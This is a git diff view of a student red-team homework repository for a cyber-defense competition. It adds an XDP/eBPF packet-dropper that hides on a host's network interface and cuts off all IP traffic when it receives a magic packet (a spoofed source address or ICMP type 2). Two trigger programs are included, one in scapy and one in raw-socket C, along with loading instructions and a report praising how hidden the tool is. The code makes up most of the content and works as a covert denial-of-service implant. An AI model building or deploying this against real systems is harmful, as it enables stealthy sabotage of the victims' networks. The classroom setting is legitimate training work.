Migration This is my new public git source viewer. Source coming soon. Please contact with concerns/bugs. Contact me

Compare

23061bab189d3cfc7181ce68f4949304d91b3ce6 … main · 9 commits

merge base 23061bab189d…

Changed files

Commits

HashSubjectAuthorDate
b9ef8fbd organization Ryan Schanzenbacher
f8616c82 Update README.md Ryan Schanzenbacher
e75179f4 Added new ping trigger programs Ryan Schanzenbacher
ccaa1b97 removed code that was never used Ryan Schanzenbacher
4da4b60f added new version of packet droppper Ryan Schanzenbacher
42c1eb52 added email and link to repo Ryan Schanzenbacher
8d271760 added report Ryan Schanzenbacher
89f3e261 added example packet sender Ryan Schanzenbacher
6c4c5f16 modified readme and added packet_dropper files Ryan Schanzenbacher
diff --git a/README.md b/README.md
index 0e6d352..8d5c8dd 100644
--- a/README.md
+++ b/README.md
@@ -13,18 +13,18 @@ mount -t bpf bpf /sys/fs/bpf
This command should return no errors. Next, ensure the package xdp-loader is installed. This package is provided in `xdp-tools`. Finally, load the driver on the interface you want to "attack" (found using `ip a`).
```
-xdp-loader load {interface_name} packet_dropper.o
+xdp-loader load {interface_name} packet_dropper_new.o
```
### Usage
-Now that the driver is loaded, it is active. Nothing will appear to have changed on the host system (however if you run `ip a` now you will see a new "xdp" entry after the interface mtu. On a separate system, craft an IP packet with the source address equal to `223.255.254.115` and the destination equal to the computer with the tainted interface. There can be any payload encapsulated within the IP packet, this is discarded. A sample python script utilizing scapy has been provided. When this packet is sent, all IP communication from the tainted interface will be blocked, effectively disabling the computers communication with the outside world. Note: Layer 2 communication (like ARP) will still be allowed to ensure connectivity can be restored. If you send the specially crafted packet again, IP communication will be allowed through again, like a toggle.
+Now that the driver is loaded, it is active. Nothing will appear to have changed on the host system (however if you run `ip a` now you will see a new "xdp" entry after the interface mtu. On a separate system, craft an IP packet with the source address equal to `223.255.254.115` and the destination equal to the computer with the tainted interface. There can be any payload encapsulated within the IP packet, this is discarded. A sample python script utilizing scapy has been provided. Or, you can send a legitimate ICMP packet with the type of 2 to trigger the payload as well. An example C program has been included showing this. When this packet is sent, all IP communication from the tainted interface will be blocked, effectively disabling the computers communication with the outside world. Note: Layer 2 communication (like ARP) will still be allowed to ensure connectivity can be restored. If you send the specially crafted packet again, IP communication will be allowed through again, like a toggle.
### Build information
-You need the linux headers, libbpf headers, libxdp headers and clang. Once you have all of these installed, run the following command to build the object file that can be loaded:
+A prebuild version has been provided, however to build you can do the following. You need the linux headers, libbpf headers, libxdp headers and clang. Once you have all of these installed, run the following command to build the object file that can be loaded:
```
-clang -O2 -g -Wall -target bpf -c packet_dropper.c -o packet_dropper.o
+clang -O2 -g -Wall -target bpf -c packet_dropper_new.c -o packet_dropper_new.o
```
diff --git a/ping_senders/packet_sender.py b/ping_senders/packet_sender.py
new file mode 100644
index 0000000..7703a5f
--- /dev/null
+++ b/ping_senders/packet_sender.py
@@ -0,0 +1,7 @@
+from scapy.all import Ether, IP, UDP, sendp
+
+input_ip = input("Enter destination IP: ")
+
+p = Ether()/IP(dst=input_ip, src='223.255.254.115')/UDP(b"A Payload")
+
+sendp(p)
diff --git a/ping_senders/ping3 b/ping_senders/ping3
new file mode 100755
index 0000000..edb585c
Binary files /dev/null and b/ping_senders/ping3 differ
diff --git a/ping_senders/ping3.c b/ping_senders/ping3.c
new file mode 100644
index 0000000..f0dd858
--- /dev/null
+++ b/ping_senders/ping3.c
@@ -0,0 +1,110 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netdb.h>
+#include <netinet/in.h>
+#include <netinet/in_systm.h>
+#include <netinet/ip.h>
+#include <netinet/ip_icmp.h>
+#include <string.h>
+#include <arpa/inet.h>
+#include <sys/select.h>
+
+unsigned short cksum(unsigned short *addr, int len);
+
+int main(int argc, char *argv[]) {
+ int sock;
+ char send_buf[400], src_ip[15], dst_ip[15], src_name[256];
+ struct ip *ip = (struct ip *)send_buf;
+ struct icmp *icmp = (struct icmp *)(ip + 1);
+ struct hostent *src_hp, *dst_hp;
+ struct sockaddr_in src, dst;
+ int on = 1;
+ memset(send_buf, 0, sizeof(send_buf));
+
+ if (argc < 2) {
+ printf("Need arg. I\n");
+ exit(EXIT_FAILURE);
+ }
+
+ /**if (getuid() == 0) {
+ fprintf(stderr, "Need to elevate\n");
+ exit(EXIT_FAILURE);
+ } **/
+
+ gethostname(src_name, sizeof(src_name));
+ printf("%s\n", src_name);
+ src_hp = gethostbyname(src_name);
+ ip->ip_src = (*(struct in_addr *)src_hp->h_addr_list[0]);
+
+ dst_hp = gethostbyname(argv[1]);
+ ip->ip_dst = (*(struct in_addr *)dst_hp->h_addr);
+ dst.sin_addr = (*(struct in_addr *)dst_hp->h_addr);
+
+ sprintf(src_ip, "%s", inet_ntoa(ip->ip_src));
+ sprintf(dst_ip, "%s", inet_ntoa(ip->ip_dst));
+ printf("Src: %s -- Dst: %s\n", src_ip, dst_ip);
+
+ // Create socket
+ sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
+
+ setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
+
+ // IP Structure
+ ip->ip_v = 4;
+ ip->ip_hl = 5;
+ ip->ip_tos = 0;
+ ip->ip_len = htons(sizeof(send_buf));
+ ip->ip_id = htons(321);
+ ip->ip_off = htons(0);
+ ip->ip_ttl = 255;
+ ip->ip_p = IPPROTO_ICMP;
+ ip->ip_sum = 0;
+
+ // ICMP Structure
+ icmp->icmp_type = 2;
+ icmp->icmp_code = 0;
+
+ dst.sin_family = AF_INET;
+
+ ip->ip_sum = cksum((unsigned short *)send_buf, ip->ip_hl);
+ icmp->icmp_cksum = cksum((unsigned short *)icmp, sizeof(send_buf) - sizeof(struct icmp));
+
+ int dst_addr_len = sizeof(dst);
+ int bytes_sent;
+
+ if((bytes_sent = sendto(sock, send_buf, sizeof(send_buf), 0, (struct sockaddr *)&dst, dst_addr_len)) < 0) {
+ perror("send err");
+ fflush(stdout);
+ }
+ else {
+ printf("Sent %d bytes\n", bytes_sent);
+ }
+
+
+}
+
+unsigned short cksum(unsigned short *addr, int len) {
+ int nleft = len;
+ int sum = 0;
+ unsigned short *w = addr;
+ unsigned short answer = 0;
+
+ while (nleft > 1) {
+ sum += *w++;
+ nleft -= 2;
+ }
+
+ if (nleft == 1) {
+ *(unsigned char *)(&answer) = *(unsigned char *)w;
+ sum += answer;
+ }
+
+ sum = (sum >> 16) + (sum & 0xffff);
+ sum += (sum >> 16);
+ answer = ~sum;
+
+ return answer;
+}
diff --git a/ping_senders/ping_send b/ping_senders/ping_send
new file mode 100644
index 0000000..37a2396
Binary files /dev/null and b/ping_senders/ping_send differ
diff --git a/report_rschanzenbacher_hw4.mkd b/report_rschanzenbacher_hw4.mkd
new file mode 100644
index 0000000..b59a72e
--- /dev/null
+++ b/report_rschanzenbacher_hw4.mkd
@@ -0,0 +1,15 @@
+Ryan Schanzenbacher\
+rjs1877@rit.edu\
+2/16/23\
+Team Bravo\
+Red Team HW\
+
+Github Repo: [https://github.com/ryan77627/xdp-packet-dropper](https://github.com/ryan77627/xdp-packet-dropper)
+
+### Question Answers
+
+1. The goal of this tool is to simply distract the blue team. It is a tool meant to cause chaos, as the method is uses to disable any connectivity is fairly well hidden, unless you know what to look for. As such, the ability for the grey team servers to communicate will be in the red teams control (unless the module is found and removed.) This gives the red team the advantage of being able to cause blue team to lose points whenever we see fit.
+
+1. No other tool really inspired this one. The inspiration was knowing that I was eventually going to take this class, and over winter break reading a really interesting Cloudflare engineering blog post that talked about XDP Driver usage within Cloudflare for preventing DDOS attacks. I figured they were an interesting concept I wanted to research further, especially due to their control in the network stack and how early they are run in relation to receiving packets. I figured it would be fairly easy to implement a simple toggle that recreated a `DROP ALL` iptables rule, but with the benefit of being very hidden.
+
+1. The feasibility of another team member being able to use my tool? Very easy, it is a simple toggle with a premade script to send the packet. You just need to know the destination IP address. To contribute? A bit harder, as you need to have a basic understanding of C at the very least, but then you need to learn new concepts that are specific to XDP drivers, such as not having any global state, and doing many, ***many***, bounds checks as the XDP driver is preverified for any potential code that can perform a buffer overread and will reject the code if any is found.
diff --git a/report_rschanzenbacher_hw4.pdf b/report_rschanzenbacher_hw4.pdf
new file mode 100644
index 0000000..b0b6759
Binary files /dev/null and b/report_rschanzenbacher_hw4.pdf differ
diff --git a/xdp-program/packet_dropper.c b/xdp-program/packet_dropper.c
new file mode 100644
index 0000000..d0a8d85
--- /dev/null
+++ b/xdp-program/packet_dropper.c
@@ -0,0 +1,77 @@
+#include <linux/bpf.h>
+#include <bpf/bpf_helpers.h>
+#include <linux/if_ether.h>
+#include <linux/in.h>
+#include <linux/if_packet.h>
+#include <linux/ip.h>
+#include <linux/tcp.h>
+
+struct {
+ __uint(type, BPF_MAP_TYPE_ARRAY);
+ __type(key, __u32);
+ __type(value, __u32);
+ __uint(max_entries, 1);
+} status SEC(".maps");
+
+SEC("xdpentry")
+int entry(struct xdp_md *ctx) {
+ // Prepare some data structures
+ __u32 *rec;
+ __u32 key = 0;
+ void *data_end = (void *)(long)ctx->data_end;
+ void *data = (void *)(long)ctx->data;
+ struct ethhdr *eth = data;
+
+ rec = bpf_map_lookup_elem(&status, &key); // Lookup current packet status from kernel map
+ if (!rec) {
+ return XDP_DROP; // try to lay low on error
+ }
+ //bpf_printk("Rec: %u", *rec); // Debug prints
+ if ((*rec != 55) && (*rec != 56)) {
+ // First run check
+ // bpf_printk("Resetting rec!"); // Debug Prints
+ *rec = 56; // set default value for map
+ }
+
+ if (eth + 1 > data_end) // Bounds checking for xdp preverifier
+ return XDP_PASS; // This should never run normally
+
+ /** if(eth->h_proto != ETH_P_IP) {
+ return XDP_PASS; // don't kill layer 2 traffic
+ } **/
+
+ struct iphdr *iph = data + sizeof(struct ethhdr);
+ if (iph + 1 > data_end) // More bounds checking
+ return XDP_PASS; // This should never run either
+ //
+ __u32 ip_src = iph->saddr; // grab source address of packet
+ // bpf_printk("Incoming packet: %u\n", ip_src); // Debug print
+ // Determine if we need to further process this packet
+ if (ip_src == 1946091487) {
+ // This packet had a destination of 223.255.254.115, do something!
+ // bpf_printk("Got it!, setting rec..."); // Debug print
+ switch (*rec) {
+ case 55 :
+ *rec = 56;
+ break;
+ case 56 :
+ *rec = 55;
+ break;
+ }
+ return XDP_DROP;
+ }
+ else if (ip_src == 0) {
+ // most likely a layer 2 packet, let it thru
+ return XDP_PASS;
+ }
+
+ // Finish processing
+ if (*rec == 55) {
+ return XDP_DROP;
+ } else {
+ return XDP_PASS;
+ }
+}
+
+
+char _license[] SEC("license")= "GPL";
diff --git a/xdp-program/packet_dropper.o b/xdp-program/packet_dropper.o
new file mode 100644
index 0000000..3958484
Binary files /dev/null and b/xdp-program/packet_dropper.o differ
diff --git a/xdp-program/packet_dropper_new.c b/xdp-program/packet_dropper_new.c
new file mode 100644
index 0000000..3033b38
--- /dev/null
+++ b/xdp-program/packet_dropper_new.c
@@ -0,0 +1,95 @@
+#include <linux/bpf.h>
+#include <bpf/bpf_helpers.h>
+#include <bpf/bpf_endian.h>
+#include <linux/if_ether.h>
+#include <linux/in.h>
+#include <linux/if_packet.h>
+#include <linux/ip.h>
+#include <linux/icmp.h>
+#include <linux/if_vlan.h>
+
+struct {
+ __uint(type, BPF_MAP_TYPE_ARRAY);
+ __type(key, __u32);
+ __type(value, __u32);
+ __uint(max_entries, 1);
+} status SEC(".maps");
+
+SEC("xdpentry")
+int entry(struct xdp_md *ctx) {
+ // Prepare some data structures
+ __u32 *rec;
+ __u32 key = 0;
+ void *data_end = (void *)(long)ctx->data_end;
+ void *data = (void *)(long)ctx->data;
+ struct ethhdr *eth = data;
+
+ rec = bpf_map_lookup_elem(&status, &key); // Lookup current packet status from kernel map
+ if (!rec) {
+ return XDP_DROP; // try to lay low on error
+ }
+ //bpf_printk("Rec: %u", *rec); // Debug prints
+ if ((*rec != 55) && (*rec != 56)) {
+ // First run check
+ // bpf_printk("Resetting rec!"); // Debug Prints
+ *rec = 56; // set default value for map
+ }
+
+ if (eth + 1 > data_end) // Bounds checking for xdp preverifier
+ return XDP_PASS; // This should never run normally
+
+ if(bpf_ntohs(eth->h_proto) == ETH_P_ARP) {
+ return XDP_PASS; // don't kill layer 2 traffic
+ }
+
+ struct iphdr *iph = data + sizeof(struct ethhdr);
+ if (iph + 1 > data_end) // More bounds checking
+ return XDP_PASS; // This should never run either
+ //
+ __u32 ip_src = iph->saddr; // grab source address of packet
+
+ struct icmphdr *icmph = data + sizeof(struct ethhdr) + sizeof(struct iphdr);
+ if (icmph + 1 > data_end) {
+ // More bounds checking
+ return XDP_PASS;
+ }
+
+ char *pingdata = data + sizeof(struct ethhdr) + sizeof(struct iphdr) + sizeof(struct icmphdr);
+
+ // bpf_printk("Incoming packet: %u\n", ip_src); // Debug print
+ // Determine if we need to further process this packet
+ //if (ip_src == 1946091487) {
+ bpf_printk("Incoming packet: %u\n", icmph->type);
+ if (icmph->type == 2 || ip_src == 1946091487) {
+ // This packet had a destination of 223.255.254.115, do something!
+ // bpf_printk("Got it!, setting rec..."); // Debug print
+ switch (*rec) {
+ case 55 :
+ *rec = 56;
+ break;
+ case 56 :
+ *rec = 55;
+ break;
+ }
+ return XDP_DROP;
+ }
+ else if (ip_src == 0) {
+ // most likely a layer 2 packet, let it thru
+ return XDP_PASS;
+ }
+
+ else if (ip_src >= 16974090 && ip_src <= 503513354) {
+ // IP is between 10.1.3.1 and 10.1.3.30. Allow to pass for red team
+ return XDP_PASS;
+ }
+
+ // Finish processing
+ if (*rec == 55) {
+ return XDP_DROP;
+ } else {
+ return XDP_PASS;
+ }
+}
+
+
+char _license[] SEC("license")= "GPL";